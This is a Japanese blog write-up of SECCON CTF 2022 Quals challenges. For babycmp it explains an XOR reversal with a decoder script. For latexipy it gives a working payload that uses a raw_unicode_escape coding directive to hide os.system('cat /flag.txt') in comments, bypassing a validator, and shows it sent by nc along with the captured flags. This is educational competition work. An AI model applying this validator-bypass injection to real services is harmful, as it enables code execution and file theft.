SECCON CTF 2022 Quals に参加した (babycmp, latexipy)

2022-11-15

SECCON CTF 2022 予選にp3r0zとして参加しました。908点で50位(国内15位)でした。

babycmp

$ ./chall.baby
Usage: ./chall.baby FLAG
$ ./chall.baby SECCON{test}
Wrong...

文字列を引数として与えると “Wrong…” もしくは “Correct!” のどちらかを表示するプログラムが与えられます。 “Correct!” を出力するような文字列を求めれば良いということですね。

他の Writeup で紹介されているような便利なツールを知らなかったため、 何も考えずにそのままアセンブリを読んで処理を把握してしまいました。

以下、どのようにアプローチしたかを簡単に書いておきます。

まずは Hopper で解析をして、なんとなくこのあたりに判定ロジックが含まれていそうだという認識を持ちます。 比較をしているアドレスに gdb でブレークポイントを貼って、引数を変化させた時の値の変化を見てみます。

* `AAA` の場合
> x/wx $r12
0x7fffffffd41c: 0x002d2416
> x/wx $r12+0x8
0x7fffffffd424: 0x524f4c4f
> x/wx $rsp+0x20
0x7fffffffcda0: 0x202f2004
> x/wx $rsp+0x28
0x7fffffffcda8: 0x357f1a44

* `AAB` の場合
> x/wx $r12
0x7fffffffd41c: 0x002e2416
> x/wx $r12+0x8
0x7fffffffd424: 0x524f4c4f
> x/wx $rsp+0x20
0x7fffffffcda0: 0x202f2004
> x/wx $rsp+0x28
0x7fffffffcda8: 0x357f1a44

* `AAAA` の場合
> x/wx $r12
0x7fffffffd41b: 0x222d2416
> x/wx $r12+0x8
0x7fffffffd423: 0x4f4c4f43
> x/wx $rsp+0x20
0x7fffffffcda0: 0x202f2004
> x/wx $rsp+0x28
0x7fffffffcda8: 0x357f1a44

以上の結果から

ということがわかります。 どうやらシンプルに文字単位で何かの変換が行われていそうです。

そのイメージを持った上でこの比較処理の直前にあるループ処理を読んでいくと、 単に文字列 “Welcome to SECCON 2022” と入力文字列が文字単位で xor されている、ということが分かりました。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# rsp_0x20, rsp_0x28, rsp_0x30, rsp_0x38, rsp_0x40
encoded = [
    0x04, 0x20, 0x2F, 0x20, 0x20, 0x23, 0x1E, 0x59,
    0x44, 0x1A, 0x7F, 0x35, 0x75, 0x36, 0x2D, 0x2B,
    0x11, 0x17, 0x5A, 0x03, 0x6D, 0x50, 0x36, 0x07,
    0x15, 0x3C, 0x09, 0x01, 0x04, 0x47, 0x2B, 0x36,
    0x41, 0x0A, 0x38,
]

key = [
    0x57, 0x65, 0x6C, 0x63, 0x6F, 0x6D, 0x65, 0x20,
    0x74, 0x6F, 0x20, 0x53, 0x45, 0x43, 0x43, 0x4F,
    0x4E, 0x20, 0x32, 0x30, 0x32, 0x32,
]

ans = ""

for i in range(len(encoded)):
    for x in range(256):
        if x ^ key[i % len(key)] == encoded[i]:
            ans += chr(x)
            break

print(ans)
SECCON{y0u_f0und_7h3_baby_flag_YaY}

latexipy

latexify を使った Python アプリケーション一式が渡されます。 Pythonの関数を入力として与えると、その関数をLaTeXの数式に落とし込んだ文字列を返してくれるようです。 app.py を覗いてみると、入力として受け取ったPythonの関数を埋め込んだソースコードを生成し、 それを importlib を使って動的にモジュールとして読み込むことで処理を実現しているようです。

ただし、任意のモジュールを import するときに任意コードが実行されると困るため、 入力として受け取った関数の名前を抽出する関数 get_fn_name で validation も行っています。 以下、validationを行っている関数の概要です。

2番目の条件から、モジュールレベルで実行されるようなコードをそのまま書くことはできないようです。 また、3番目の条件の正規表現を見るとデフォルト引数を受け付けていないため1、 モジュールロード時点で評価されるような項を置くことは難しそうです。

当初は __builtins__ 自体を上書き定義したり、builtins.__import__ をどうにかして定義してimportの挙動を変えようとしたり、 関数名を latexify にしてシンボル名の上書きが発生するような状態で何かできないかを試していました。 (latexify自体に何か突破口がある可能性も考えましたが、一般的なライブラリであることから、決してそのライブラリの脆弱性をつくような物ではない、あり得るとしたら仕様として明記されているものくらいだというある種のメタ読みもしてしまいました。実際にlatexifyのコードも多少読みましたが、基本的には AST に落とし込んだ上で評価を行っているので、攻撃するのは難しそうです。)

この試行錯誤の途中で、Pythonのコメント行 # については get_fn_name 関数で一切考慮されていないことに気が付きます。 これは ast.parse が AST を構築するときにコメントについてはノードを構築しないのが理由です。 もちろん importlib ではコメントも含めて Python のモジュールとして評価されるので、ここをうまくなんとか活かせればフラグの獲得に繋がりそうです。

Pythonで見かける特殊なコメントとしてエンコーディングに関するディレクティブ # coding: utf-8 がありますが、そのあたりをうまくつかうことで攻撃できないでしょうか? と思いながら調べた結果、どうやら coding: raw_unicode_escape をつかうことでコード中にUnicode escapeを使えることがわかりました。

あとはこれを使ってコメント行の後に改行を挟んであげることで、モジュールとして使われたときに os.system が走り、単に文字列評価をするとコメントとなるようなスクリプトを作ることができます。

1
2
3
4
5
6
7
8
# coding: raw_unicode_escape
#\u000aimport os
#\u000aos.system("cat /flag.txt")

def hoge():
    return 42

__EOF__
$ cat exploit.py | nc latexipy.seccon.games 2337
Latexify as a Service!

E.g.
``
def solve(a, b, c):
    return (-b + math.sqrt(b**2 - 4*a*c)) / (2*a)
``

ref. https://github.com/google/latexify_py/blob/v0.1.1/examples/equation.ipynb

Input your function (the last line must start with __EOF__):
SECCON{UTF7_is_hack3r_friend1y_encoding}

Result:
\mathrm{hoge}() \triangleq 42

SECCON{UTF7_is_hack3r_friend1y_encoding}

  1. Pythonの関数定義のスコープはモジュールレベルです。すなわち、デフォルト引数のオブジェクトはモジュールロード時に一度だけ評価されます。 ↩︎

このエントリーをはてなブックマークに追加
« Preferred Networks を退職します